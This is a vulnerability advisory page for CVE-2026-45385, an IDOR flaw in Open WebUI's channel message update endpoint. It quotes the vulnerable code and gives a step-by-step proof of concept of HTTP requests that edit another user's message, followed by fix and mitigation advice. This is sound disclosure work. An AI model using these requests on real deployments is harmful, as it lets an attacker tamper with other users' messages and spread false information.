CVE-2026-45385 — open-webui
MEDIUMCVE-2026-45385 is a medium-severity (CVSS 4.3) CWE-639 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI: An IDOR vulnerability exists in the update_message_by_id API endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45385.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-45385 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (v0.8.12) of Open WebUI.
Details
In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows (https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :
if channel.type in ['group', 'dm']:
if not Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
try:
message = Messages.update_message_by_id(message_id, form_data, db=db)
Non-group/dm types include a check for the user ID, while the group/dm type clearly lacks this verification.
PoC
The Channels feature is disabled by default and can be enabled first through the admin interface.
<img width="1024" height="618" alt="image" src="https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f" />
Create a group type channel with members including users test1 and test2.
POST /api/v1/channels/create HTTP/1.1
Content-Type: application/json
{
"name": "idor-test-group",
"type": "group",
"user_ids": [
"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"b9997496-ff80-4c30-a366-95474f85e62b"
]
}
User test2 sends a message in the channel.
POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test2_token>
{"content":"This is test2 secret message"}
User test1 can directly modify the message that test2 just sent.
POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test1_token>
{"content":"HACKED BY TEST1 - message tampered!"}
Messages sent by administrators can also be modified.
<img width="1024" height="419" alt="image" src="https://github.com/user-attachments/assets/b32dc5eb-f810-41d3-b358-f000d8331761" />Impact
Malicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.
Suggested Fix
Add a message ownership check in the group/dm branch of channels.py.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.5pip install --upgrade 'open-webui==0.9.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.9.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45385 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-45385 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-45385. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-45385 in your dependencies?
O3 Security finds CVE-2026-45385 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.